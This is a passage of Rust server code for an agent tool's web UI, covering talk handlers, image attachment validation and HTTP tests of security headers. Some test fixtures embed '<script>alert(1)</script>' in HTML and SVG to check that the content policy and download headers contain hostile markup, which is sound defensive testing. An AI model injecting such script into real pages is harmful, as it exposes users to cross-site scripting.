7157 return Err(ApiError::conflict(
7158 "a talk turn is running; change the persona once it has answered",
7159 ));
7160 };
7161 let switched = {
7162 let ui = Arc::clone(&ui);
7163 let id = id.clone();
7164 let cfg = cfg.clone();
7165 blocking(move || {
7166 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7167 return Err(ApiError::bad_request(format!(
7168 "unknown persona `{}`",
7169 body.persona
7170 )));
7171 };
7172 let mut talk = ui.talks.get(&id)?;
7173 if !talk.status.open() {
7174 return Err(ApiError::conflict(format!(
7175 "talk {} is {} and takes no more turns",
7176 talk.short(),
7177 talk.status.as_str()
7178 )));
7179 }
7180 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7181 Ok(talk)
7182 })
7183 .await
7184 };
7185 let fresh = {
7187 let ui = Arc::clone(&ui);
7188 let id = id.clone();
7189 blocking(move || Ok(ui.talks.get(&id)?)).await
7190 };
7191 let draining = match fresh {
7192 Ok(talk) => {
7193 let draining = talk.status.open()
7194 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7195 let talks = ui.talks.clone();
7196 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7197 draining
7198 }
7199 Err(_) => false,
7200 };
7201 let talk = switched?;
7202 Ok(Json(TalkView::new(talk, draining)))
7203}
7204
7205#[derive(Debug, Deserialize)]
7207struct TalkImplementers {
7208 implementers: u8,
7209}
7210
7211async fn talk_implementers(
7215 State(ui): State<Arc<Ui>>,
7216 Path(id): Path<String>,
7217 Json(body): Json<TalkImplementers>,
7218) -> ApiResult<Json<TalkView>> {
7219 let id = {
7220 let ui = Arc::clone(&ui);
7221 blocking(move || resolve_talk(&ui.talks, &id)).await?
7222 };
7223 let repo = {
7224 let ui = Arc::clone(&ui);
7225 let id = id.clone();
7226 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7227 };
7228 let cfg = config_for(&repo).await?;
7229 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7230 return Err(ApiError::conflict(
7231 "a talk turn is running; change the implementers once it has answered",
7232 ));
7233 };
7234 let switched = {
7235 let ui = Arc::clone(&ui);
7236 let id = id.clone();
7237 let cfg = cfg.clone();
7238 blocking(move || {
7239 let chosen =
7240 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7241 let mut talk = ui.talks.get(&id)?;
7242 if !talk.status.open() {
7243 return Err(ApiError::conflict(format!(
7244 "talk {} is {} and takes no more turns",
7245 talk.short(),
7246 talk.status.as_str()
7247 )));
7248 }
7249 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7250 Ok(talk)
7251 })
7252 .await
7253 };
7254 let fresh = {
7256 let ui = Arc::clone(&ui);
7257 let id = id.clone();
7258 blocking(move || Ok(ui.talks.get(&id)?)).await
7259 };
7260 let draining = match fresh {
7261 Ok(talk) => {
7262 let draining = talk.status.open()
7263 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7264 let talks = ui.talks.clone();
7265 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7266 draining
7267 }
7268 Err(_) => false,
7269 };
7270 let talk = switched?;
7271 Ok(Json(TalkView::new(talk, draining)))
7272}
7273
7274async fn talk_close(
7276 State(ui): State<Arc<Ui>>,
7277 Path(id): Path<String>,
7278) -> ApiResult<Json<TalkView>> {
7279 blocking(move || {
7280 let id = resolve_talk(&ui.talks, &id)?;
7281 let mut talk = ui.talks.get(&id)?;
7282 talk::close(&mut talk, &ui.talks)?;
7283 let thinking = ui.is_thinking(&talk.id);
7284 Ok(Json(TalkView::new(talk, thinking)))
7285 })
7286 .await
7287}
7288
7289async fn talk_reopen(
7291 State(ui): State<Arc<Ui>>,
7292 Path(id): Path<String>,
7293) -> ApiResult<Json<TalkView>> {
7294 blocking(move || {
7295 let id = resolve_talk(&ui.talks, &id)?;
7296 let mut talk = ui.talks.get(&id)?;
7297 talk::reopen(&mut talk, &ui.talks)?;
7298 let thinking = ui.is_thinking(&talk.id);
7299 Ok(Json(TalkView::new(talk, thinking)))
7300 })
7301 .await
7302}
7303
7304async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7314 blocking(move || {
7315 let id = resolve_talk(&ui.talks, &id)?;
7316 ui.talks.remove(&id)?;
7317 Ok(StatusCode::NO_CONTENT)
7318 })
7319 .await
7320}
7321
7322fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7324 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7325}
7326
7327async fn talk_attachment_post(
7330 State(ui): State<Arc<Ui>>,
7331 Path(id): Path<String>,
7332 headers: HeaderMap,
7333 body: Bytes,
7334) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7335 let mime = validate_attachment(&headers, &body)?;
7336 let name = filename_header(&headers);
7337 let data = body.to_vec();
7338 blocking(move || {
7339 let id = resolve_talk(&ui.talks, &id)?;
7340 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7341 Ok((StatusCode::CREATED, Json(att)))
7342 })
7343 .await
7344}
7345
7346async fn talk_attachment_get(
7349 State(ui): State<Arc<Ui>>,
7350 Path((id, att)): Path<(String, String)>,
7351) -> ApiResult<Response> {
7352 blocking(move || {
7353 let id = resolve_talk(&ui.talks, &id)?;
7354 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7355 return Err(ApiError::not_found(format!(
7356 "talk {id} has no attachment `{att}`"
7357 )));
7358 };
7359 Ok(attachment_response(&meta.mime, data))
7360 })
7361 .await
7362}
7363
7364fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7375 if data.len() > ATTACHMENT_MAX_BYTES {
7376 return Err(ApiError::bad_request(format!(
7377 "attachment is {} bytes, over the {} MiB limit",
7378 data.len(),
7379 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7380 ))
7381 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7382 }
7383 if data.is_empty() {
7384 return Err(ApiError::bad_request("attachment is empty"));
7385 }
7386 let declared = declared_mime(headers)?;
7387 match sniffed_mime(data) {
7388 Some(sniffed) if sniffed == declared => Ok(declared),
7389 Some(sniffed) => Err(ApiError::bad_request(format!(
7390 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7391 ))),
7392 None => Err(ApiError::bad_request(
7393 "the file's bytes do not match any accepted image format",
7394 )),
7395 }
7396}
7397
7398fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7402 let raw = headers
7403 .get(header::CONTENT_TYPE)
7404 .and_then(|v| v.to_str().ok())
7405 .unwrap_or("")
7406 .split(';')
7407 .next()
7408 .unwrap_or("")
7409 .trim()
7410 .to_ascii_lowercase();
7411 ATTACHMENT_MIME_WHITELIST
7412 .iter()
7413 .find(|&&m| m == raw)
7414 .copied()
7415 .ok_or_else(|| {
7416 if raw == "image/svg+xml" {
7417 ApiError::bad_request(
7418 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7419 not just a picture",
7420 )
7421 } else if raw.is_empty() {
7422 ApiError::bad_request("Content-Type is required for an attachment upload")
7423 } else {
7424 ApiError::bad_request(format!(
7425 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7426 image/gif or image/webp"
7427 ))
7428 }
7429 })
7430}
7431
7432fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7435 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7436 Some("image/png")
7437 } else if data.starts_with(b"\xff\xd8\xff") {
7438 Some("image/jpeg")
7439 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7440 Some("image/gif")
7441 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7442 Some("image/webp")
7443 } else {
7444 None
7445 }
7446}
7447
7448fn filename_header(headers: &HeaderMap) -> String {
7454 headers
7455 .get(FILENAME_HEADER)
7456 .and_then(|v| v.to_str().ok())
7457 .map(str::trim)
7458 .filter(|s| !s.is_empty())
7459 .unwrap_or("attachment")
7460 .to_owned()
7461}
7462
7463fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7470 let content_type = ATTACHMENT_MIME_WHITELIST
7471 .iter()
7472 .find(|&&m| m == mime)
7473 .copied()
7474 .unwrap_or("application/octet-stream");
7475 (
7476 [
7477 (header::CONTENT_TYPE, content_type),
7478 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7479 ],
7480 body,
7481 )
7482 .into_response()
7483}
7484
7485async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7493 let repo = repo.to_path_buf();
7494 blocking(move || {
7495 let (cfg, _) = Config::discover(&repo, None)?;
7496 Ok(cfg)
7497 })
7498 .await
7499}
7500
7501fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7507 let mut hits = ids
7508 .into_iter()
7509 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7510 match (hits.next(), hits.next()) {
7511 (Some(one), None) => Ok(one),
7512 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7513 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7514 "`{prefix}` matches more than one {what}, including {a} and {b}"
7515 ))),
7516 }
7517}
7518
7519#[cfg(test)]
7520mod tests {
7521
7522 #[test]
7523 fn holder_reads_the_lease_not_the_record() {
7524 let mut q = Question::new(
7525 "run".to_owned(),
7526 "implement".to_owned(),
7527 "impl-A".to_owned(),
7528 "which?".to_owned(),
7529 String::new(),
7530 Vec::new(),
7531 );
7532 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7533 q.cwd = Some("/tmp".to_owned());
7534 assert_eq!(holder_of(&q, None), Some("nobody"));
7535 let beat = |kind, ago: i64| ask::Lease {
7536 kind,
7537 pid: 1,
7538 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7539 .unwrap(),
7540 };
7541 let fresh = beat(ask::WaiterKind::Asker, 1);
7542 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7543 let daemon = beat(ask::WaiterKind::Daemon, 1);
7544 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7545 let stale = beat(ask::WaiterKind::Asker, 3600);
7546 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7547
7548 let mut c = Question::new(
7551 "task".to_owned(),
7552 crate::conduct::NODE.to_owned(),
7553 "conduct".to_owned(),
7554 "which?".to_owned(),
7555 String::new(),
7556 Vec::new(),
7557 );
7558 assert_eq!(holder_of(&c, None), Some("nobody"));
7559 c.cwd = Some("/tmp".to_owned());
7560 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7561 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7562 let deputy = beat(ask::WaiterKind::Deputy, 1);
7563 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7564 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7565
7566 let mut r = Question::new(
7568 String::new(),
7569 crate::bump::NOTICE_NODE.to_owned(),
7570 "release-watch".to_owned(),
7571 "stuck?".to_owned(),
7572 String::new(),
7573 vec!["hold".to_owned()],
7574 );
7575 assert_eq!(holder_of(&r, None), Some("nobody"));
7576 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7577 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7578 r.deputy = None;
7580 r.seat = "bump".to_owned();
7581 assert_eq!(holder_of(&r, None), None);
7582
7583 let mut m = Question::new(
7586 "run".to_owned(),
7587 crate::land::APPROVAL_NODE.to_owned(),
7588 "land".to_owned(),
7589 "merge?".to_owned(),
7590 String::new(),
7591 Vec::new(),
7592 );
7593 assert_eq!(holder_of(&m, None), Some("nobody"));
7594 assert_eq!(
7595 holder_of(&m, Some(&fresh)),
7596 Some("nobody"),
7597 "a lease with no deputy is not a listener"
7598 );
7599 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7600 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7601 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7602 assert_eq!(holder_of(&m, None), Some("nobody"));
7603 }
7604
7605 fn stub_config() -> Config {
7606 Config {
7609 agents: vec![crate::config::AgentSpec {
7610 id: "stub".to_owned(),
7611 kind: AgentKind::Command,
7612 model: None,
7613 command: vec!["true".to_owned()],
7614 extra_args: Vec::new(),
7615 env: Default::default(),
7616 prompt_delivery: None,
7617 }],
7618 ..Config::default()
7619 }
7620 }
7621
7622 fn plain_question(seat: &str) -> Question {
7623 Question::new(
7624 String::new(),
7625 "n".to_owned(),
7626 seat.to_owned(),
7627 "s".to_owned(),
7628 String::new(),
7629 Vec::new(),
7630 )
7631 }
7632
7633 #[test]
7634 fn deputies_enabled_follows_the_config() {
7635 let on = stub_config();
7636 assert!(crate::deputy::can_start(Some(&on), ""));
7637 assert!(crate::deputy::can_start(Some(&on), "stub"));
7638 let mut off = on.clone();
7639 off.daemon.max_deputies = 0;
7640 assert!(!crate::deputy::can_start(Some(&off), ""));
7641 let mut empty = on;
7642 empty.agents.clear();
7643 assert!(!crate::deputy::can_start(Some(&empty), ""));
7644 assert!(!crate::deputy::can_start(None, ""));
7645 }
7646
7647 #[test]
7648 fn question_views_load_the_config_once() {
7649 let dir = TempDir::new().unwrap();
7650 let store = ask::Questions::at(dir.path().to_path_buf());
7651 let mut with_deputy = plain_question("b");
7652 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7653 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7654
7655 let calls = std::cell::Cell::new(0usize);
7656 let views = question_views(qs.clone(), &store, || {
7657 calls.set(calls.get() + 1);
7658 Some(stub_config())
7659 });
7660 assert_eq!(calls.get(), 1);
7661 assert_eq!(views.len(), 3);
7662 for (v, q) in views.iter().zip(&qs) {
7663 assert_eq!(
7664 v.deputies_enabled,
7665 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7666 );
7667 }
7668
7669 let views = question_views(qs, &store, || None);
7670 assert!(views.iter().all(|v| !v.deputies_enabled));
7671
7672 let calls = std::cell::Cell::new(0usize);
7673 let views = question_views(Vec::new(), &store, || {
7674 calls.set(calls.get() + 1);
7675 None
7676 });
7677 assert!(views.is_empty());
7678 assert_eq!(calls.get(), 0);
7679 }
7680
7681 use pretty_assertions::assert_eq;
7682 use serde_json::Value;
7683 use tempfile::TempDir;
7684 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7685
7686 use super::*;
7687 use crate::config::Config;
7688 use crate::queue::Source;
7689
7690 const SETTLE_STEPS: usize = 3_000;
7701
7702 struct Fixture {
7708 home: TempDir,
7709 addr: SocketAddr,
7710 }
7711
7712 impl Fixture {
7713 async fn start() -> Self {
7714 Self::with_loop(launch_idle).await
7715 }
7716
7717 async fn with_loop(launch: Launch) -> Self {
7719 let home = TempDir::new().expect("temp home");
7720 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7721 Self { home, addr }
7722 }
7723
7724 async fn with_repo(repo: PathBuf) -> Self {
7728 let home = TempDir::new().expect("temp home");
7729 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7730 Self { home, addr }
7731 }
7732
7733 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7736 let home = TempDir::new().expect("temp home");
7737 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7738 Self { home, addr }
7739 }
7740
7741 async fn serve(
7742 home: &FsPath,
7743 repo: PathBuf,
7744 launch: Launch,
7745 machine: Option<PathBuf>,
7746 ) -> SocketAddr {
7747 let queue = Queue::at(home.join("queue"));
7748 let runs = home.join("runs");
7749 std::fs::create_dir_all(&runs).expect("runs dir");
7750 let worktrees = home.join("wt").join("magi");
7751 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7752 let ui = Ui::new(
7753 queue,
7754 Questions::at(home.join("questions")),
7755 Talks::at(home.join("talks")),
7756 runs,
7757 home.to_path_buf(),
7758 repo,
7759 )
7760 .with_worktrees_root(worktrees)
7761 .with_machine_config(machine)
7762 .with_launch(launch);
7763 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7764 .await
7765 .expect("bind loopback");
7766 let addr = listener.local_addr().expect("local addr");
7767 tokio::spawn(async move {
7768 let _ = axum::serve(listener, ui.router()).await;
7769 });
7770 addr
7771 }
7772
7773 fn queue(&self) -> Queue {
7774 Queue::at(self.home.path().join("queue"))
7775 }
7776
7777 fn questions(&self) -> Questions {
7778 Questions::at(self.home.path().join("questions"))
7779 }
7780
7781 fn talks(&self) -> Talks {
7782 Talks::at(self.home.path().join("talks"))
7783 }
7784
7785 fn runs(&self) -> PathBuf {
7786 self.home.path().join("runs")
7787 }
7788
7789 async fn get(&self, path: &str) -> Res {
7790 request(self.addr, "GET", path, None).await
7791 }
7792
7793 async fn head(&self, path: &str) -> Res {
7798 request(self.addr, "HEAD", path, None).await
7799 }
7800
7801 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7802 request(self.addr, "POST", path, body).await
7803 }
7804
7805 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7806 request_with(self.addr, "GET", path, None, extra).await
7807 }
7808
7809 async fn delete(&self, path: &str) -> Res {
7810 request(self.addr, "DELETE", path, None).await
7811 }
7812
7813 async fn put(&self, path: &str, body: &str) -> Res {
7814 request(self.addr, "PUT", path, Some(body)).await
7815 }
7816
7817 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7819 request_bytes(self.addr, path, headers, body).await
7820 }
7821 }
7822
7823 struct Res {
7824 status: u16,
7825 headers: String,
7826 head: String,
7831 body: String,
7832 bytes: Vec<u8>,
7836 }
7837
7838 impl Res {
7839 fn json(&self) -> Value {
7840 serde_json::from_str(&self.body)
7841 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7842 }
7843
7844 fn header(&self, name: &str) -> Option<&str> {
7846 self.head.lines().find_map(|line| {
7847 let (key, value) = line.split_once(':')?;
7848 key.trim()
7849 .eq_ignore_ascii_case(name)
7850 .then(|| value.trim_start().trim_end_matches('\r'))
7851 })
7852 }
7853 }
7854
7855 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7858 request_with(addr, method, path, body, &[]).await
7859 }
7860
7861 async fn request_with(
7865 addr: SocketAddr,
7866 method: &str,
7867 path: &str,
7868 body: Option<&str>,
7869 extra: &[(&str, &str)],
7870 ) -> Res {
7871 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7872 for (name, value) in extra {
7873 head.push_str(&format!("{name}: {value}\r\n"));
7874 }
7875 if let Some(body) = body {
7876 head.push_str("Content-Type: application/json\r\n");
7877 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7878 }
7879 head.push_str("\r\n");
7880 if let Some(body) = body {
7881 head.push_str(body);
7882 }
7883 let mut socket = tokio::net::TcpStream::connect(addr)
7884 .await
7885 .expect("connect to the test server");
7886 socket
7887 .write_all(head.as_bytes())
7888 .await
7889 .expect("write request");
7890 let mut raw = Vec::new();
7891 socket.read_to_end(&mut raw).await.expect("read response");
7892 let split = raw
7895 .windows(4)
7896 .position(|w| w == b"\r\n\r\n")
7897 .expect("a header block");
7898 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7899 let bytes = raw[split + 4..].to_vec();
7900 let status = head
7901 .lines()
7902 .next()
7903 .and_then(|line| line.split_whitespace().nth(1))
7904 .and_then(|code| code.parse().ok())
7905 .expect("a status line");
7906 Res {
7907 status,
7908 headers: head.to_lowercase(),
7909 head,
7910 body: String::from_utf8_lossy(&bytes).into_owned(),
7911 bytes,
7912 }
7913 }
7914
7915 async fn request_bytes(
7921 addr: SocketAddr,
7922 path: &str,
7923 headers: &[(&str, &str)],
7924 body: &[u8],
7925 ) -> Res {
7926 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7927 for (name, value) in headers {
7928 head.push_str(&format!("{name}: {value}\r\n"));
7929 }
7930 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7931 let mut socket = tokio::net::TcpStream::connect(addr)
7932 .await
7933 .expect("connect to the test server");
7934 socket
7935 .write_all(head.as_bytes())
7936 .await
7937 .expect("write request head");
7938 socket.write_all(body).await.expect("write request body");
7939 let mut raw = Vec::new();
7940 socket.read_to_end(&mut raw).await.expect("read response");
7941 let split = raw
7942 .windows(4)
7943 .position(|w| w == b"\r\n\r\n")
7944 .expect("a header block");
7945 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7946 let bytes = raw[split + 4..].to_vec();
7947 let status = head
7948 .lines()
7949 .next()
7950 .and_then(|line| line.split_whitespace().nth(1))
7951 .and_then(|code| code.parse().ok())
7952 .expect("a status line");
7953 Res {
7954 status,
7955 headers: head.to_lowercase(),
7956 head,
7957 body: String::from_utf8_lossy(&bytes).into_owned(),
7958 bytes,
7959 }
7960 }
7961
7962 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7964 let mut state = RunState::new(
7965 PathBuf::from("/repo/magi"),
7966 "main".to_owned(),
7967 "0123456789abcdef".to_owned(),
7968 "Add a web UI\n\nMobile first.".to_owned(),
7969 Config::default(),
7970 );
7971 state.id = id.to_owned();
7972 state.status = status;
7973 let dir = runs.join(id);
7974 std::fs::create_dir_all(&dir).expect("run dir");
7975 std::fs::write(
7976 dir.join("run.json"),
7977 serde_json::to_string_pretty(&state).expect("serialize run"),
7978 )
7979 .expect("write run.json");
7980 }
7981
7982 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7986 let mut state = RunState::new(
7987 PathBuf::from(repo),
7988 "main".to_owned(),
7989 "0123456789abcdef".to_owned(),
7990 "task".to_owned(),
7991 Config::default(),
7992 );
7993 state.id = id.to_owned();
7994 state.status = status;
7995 let dir = runs.join(id);
7996 std::fs::create_dir_all(&dir).expect("run dir");
7997 std::fs::write(
7998 dir.join("run.json"),
7999 serde_json::to_string_pretty(&state).expect("serialize run"),
8000 )
8001 .expect("write run.json");
8002 }
8003
8004 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8005 let body = serde_json::json!({
8006 "schema": 1,
8007 "pid": 4242,
8008 "started_at": Timestamp::now().to_string(),
8009 "updated_at": updated_at.to_string(),
8010 "idle": false,
8011 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8012 "completed": 7,
8013 "polls": 143,
8014 });
8015 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8016 }
8017
8018 fn launch_idle(
8028 _opts: daemon::Opts,
8029 stop: daemon::Stop,
8030 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8031 Box::pin(async move {
8032 while !stop.stopped() {
8033 tokio::time::sleep(Duration::from_millis(2)).await;
8034 }
8035 Ok(())
8036 })
8037 }
8038
8039 fn launch_broken(
8042 _opts: daemon::Opts,
8043 _stop: daemon::Stop,
8044 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8045 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8050 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8051 Box::pin(async move {
8052 Err(anyhow::anyhow!(if first {
8053 "publish the daemon status file: read-only file system"
8054 } else {
8055 "the restarted stand-in failed as well"
8056 }))
8057 })
8058 }
8059
8060 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8067 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8068
8069 fn launch_knocking_on_the_way_out(
8076 _opts: daemon::Opts,
8077 stop: daemon::Stop,
8078 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8079 Box::pin(async move {
8080 while !stop.stopped() {
8081 tokio::time::sleep(Duration::from_millis(2)).await;
8082 }
8083 let addr = PARK_KNOCK
8084 .lock()
8085 .expect("park knock")
8086 .expect("the test set an address");
8087 let heard = request(addr, "GET", "/api/health", None).await.status;
8088 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8089 Ok(())
8090 })
8091 }
8092
8093 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8102 for _ in 0..SETTLE_STEPS {
8103 let view = fx.get("/api/loop").await.json();
8104 if want(&view) {
8105 return view;
8106 }
8107 tokio::time::sleep(Duration::from_millis(10)).await;
8108 }
8109 panic!(
8110 "the loop never settled: {}",
8111 fx.get("/api/loop").await.json()
8112 );
8113 }
8114
8115 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8117 let store = fx.questions();
8118 let mut q = Question::new(
8119 "20260902-000000-beef".to_owned(),
8120 "implement".to_owned(),
8121 "impl-A".to_owned(),
8122 summary.to_owned(),
8123 "because it matters".to_owned(),
8124 choices.iter().map(|c| (*c).to_owned()).collect(),
8125 );
8126 store.put(&mut q).expect("put question");
8127 q.id
8128 }
8129
8130 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8136 let store = fx.questions();
8137 let mut q = Question::new(
8138 "20260902-000000-beef".to_owned(),
8139 "land".to_owned(),
8140 "fix".to_owned(),
8141 "Merge this?".to_owned(),
8142 "the diff is in the panel".to_owned(),
8143 vec!["merge".to_owned(), "hold".to_owned()],
8144 );
8145 let staging = fx.home.path().join("staging");
8148 std::fs::create_dir_all(&staging).expect("staging dir");
8149 let sources: Vec<PathBuf> = assets
8150 .iter()
8151 .map(|(name, bytes)| {
8152 let path = staging.join(name);
8153 std::fs::write(&path, bytes).expect("write staged asset");
8154 path
8155 })
8156 .collect();
8157 store
8158 .put_panel(&mut q, html, &sources)
8159 .expect("write the panel");
8160 store.put(&mut q).expect("put question");
8161 q.id
8162 }
8163
8164 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8173 seed_talk_at(&fx.talks(), id, status)
8174 }
8175
8176 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8177 std::fs::create_dir_all(store.root()).expect("talks dir");
8178 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8179 .expect("serialize a seat");
8180 let body = serde_json::json!({
8181 "schema": 1,
8182 "id": id,
8183 "repo": "/repo/magi",
8184 "agent": "mock",
8185 "status": status,
8186 "turns": [],
8187 "created_at": Timestamp::now().to_string(),
8188 "updated_at": Timestamp::now().to_string(),
8189 "seat": seat,
8190 });
8191 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8192 store.get(id).expect("the seeded talk has to be readable");
8193 id.to_owned()
8194 }
8195
8196 #[tokio::test]
8197 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8198 let fx = Fixture::start().await;
8199 let id = panel(
8200 &fx,
8201 "<h1>Merge?</h1><img src=\"diff.svg\">",
8202 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8203 );
8204
8205 for path in [
8206 format!("/api/questions/{id}/panel"),
8207 format!("/api/questions/{id}/asset/diff.svg"),
8208 ] {
8209 let res = fx.get(&path).await;
8210 assert_eq!(res.status, 200, "{path}: {}", res.body);
8211 assert_eq!(
8217 res.header("content-security-policy"),
8218 Some(
8219 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8220 font-src data:; base-uri 'none'; form-action 'none'; \
8221 frame-ancestors 'self'"
8222 ),
8223 "{path} is the only thing between a hostile panel and the tailnet"
8224 );
8225 assert_eq!(
8226 res.header("x-content-type-options"),
8227 Some("nosniff"),
8228 "{path}: a browser must not re-decide the type we sent"
8229 );
8230 assert_eq!(
8231 res.header("referrer-policy"),
8232 Some("no-referrer"),
8233 "{path}: a panel must not leak the question id off the machine"
8234 );
8235
8236 let pre = fx.head(&path).await;
8241 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8242 assert_eq!(
8243 pre.header("content-security-policy"),
8244 res.header("content-security-policy"),
8245 "{path}: the preflight carries the same policy"
8246 );
8247 assert_eq!(
8248 pre.header("content-type"),
8249 res.header("content-type"),
8250 "{path}: the preflight carries the same type"
8251 );
8252 }
8253 }
8254
8255 #[tokio::test]
8256 async fn a_panel_reaches_the_browser_byte_for_byte() {
8257 let fx = Fixture::start().await;
8258 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8263 let id = panel(&fx, html, &[]);
8264
8265 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8266
8267 assert_eq!(res.status, 200);
8268 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8269 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8270 assert_eq!(
8271 res.header("content-disposition"),
8272 None,
8273 "the panel itself is rendered in the frame, not downloaded"
8274 );
8275 }
8276
8277 #[tokio::test]
8278 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8279 let fx = Fixture::start().await;
8280 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8281 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8282 let id = panel(
8283 &fx,
8284 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8285 &[("diff.svg", svg), ("shot.png", png)],
8286 );
8287
8288 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8289 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8290
8291 assert_eq!(as_svg.status, 200);
8292 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8293 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8298
8299 assert_eq!(as_png.status, 200);
8300 assert_eq!(as_png.header("content-type"), Some("image/png"));
